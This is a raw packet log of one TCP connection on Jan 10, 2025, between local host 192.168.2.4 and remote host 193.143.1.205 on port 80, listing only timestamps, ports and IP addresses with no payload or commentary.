Jan 10, 2025 18:58:13.301944971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301959991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301983118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301996946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302014112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302021027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302067041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302119017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302143097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302159071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302174091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302190065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302200079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302213907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302228928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302238941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302248955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302262068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302277088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302292109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302304983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302315950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302330971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302455902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302470922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302490950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302498102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302511930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302529097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302536011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302578926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302632093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302647114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302661896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302678108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.302687883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.302723885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.309571981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.345915079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.345946074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.345980883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.345997095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.346023083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.346033096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.346049070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.346060991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.346075058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.346101999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.346183062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.346266031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.353404045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.379492044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379522085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379538059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379590034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379604101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.379620075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379635096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379653931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.379679918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.379714012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379730940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379755974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379775047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.379842997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379858017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379872084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379888058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.379898071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379908085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.379923105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.379970074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.380027056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.380042076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.380057096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.380074024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.380085945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.380121946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.380151033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.380167007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.380182028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.380237103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.383919954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.389923096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.389944077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.389964104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.389976025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.389988899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390001059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390012980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390043974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390058041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390067101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390078068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390147924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390147924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390197039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390208006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390218973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390230894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390242100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390260935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390274048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390280008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390294075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390304089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390330076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390347958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390552044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390564919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390587091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390598059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390605927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390618086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390642881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390669107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390710115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390731096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390743971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390755892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390769005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390779018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390789032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390801907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390885115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390897989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390909910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390922070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.390938997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.390950918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391045094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391055107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391066074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391078949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391088963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391097069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391108990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391119003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391140938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391207933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391218901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391231060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391246080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391252041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391262054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391274929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391318083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391355038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391366959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391401052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391479015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391499996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391510010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391521931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391534090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391544104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391555071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391565084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391573906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391583920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391602039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391613007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391633034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391803026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391815901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391829014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391839981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391845942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391856909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391872883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391877890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391901970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391907930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391917944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391931057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391941071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391949892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391963005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.391971111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.391983986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392009020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.392210960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392220974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392240047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392254114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392265081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392273903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392282009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.392294884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.392299891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392312050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.392321110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392333031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392343998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.392364979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.392385006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392416954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.392453909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.393927097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.393940926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.393953085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394001007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.394023895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394036055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394047976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394061089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394069910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.394109011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.394200087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394212961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394227028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394244909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394251108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.394263029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394269943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.394301891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.394311905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394335032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.394378901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.397428036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.441323996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.441351891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.441364050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.441395998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.441462040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.441474915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.441488028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.441503048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.441512108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.441521883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473515987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473529100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473551035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473573923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473579884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473598003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473609924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473618031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473629951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473645926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473650932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473661900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473669052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473687887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473699093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473706007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473716974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473725080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473752022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473762989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473773956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473786116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473793030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473822117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473907948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473920107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473956108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.473978043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.473989964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.474001884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.474014044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.474021912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.474064112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.474109888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.474121094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.474133015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.474144936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.474179029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.478723049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.478735924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.478748083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.478765965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.478777885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.478792906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.478801012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.478816032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.478821993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.478842020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.478862047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.478894949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.478903055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.478990078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.479003906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.479016066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.479027987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.479033947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.479043961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.479065895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.479084015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480264902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480284929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480297089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480329990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480345011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480386972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480407953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480420113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480431080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480460882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480511904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480524063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480535030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480547905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480556965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480567932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480591059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480609894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480695009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480706930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480727911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480741978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480742931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480752945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480765104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480777025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480784893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480797052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480804920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480815887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480827093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480840921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480846882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480865002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.480956078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.480968952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481002092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481082916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481093884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481105089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481117010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481123924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481134892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481148005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481156111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481167078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481178999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481187105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481204987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.481235027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.481245995 CET	80	49730	193.143.1.205	192.168.2.4
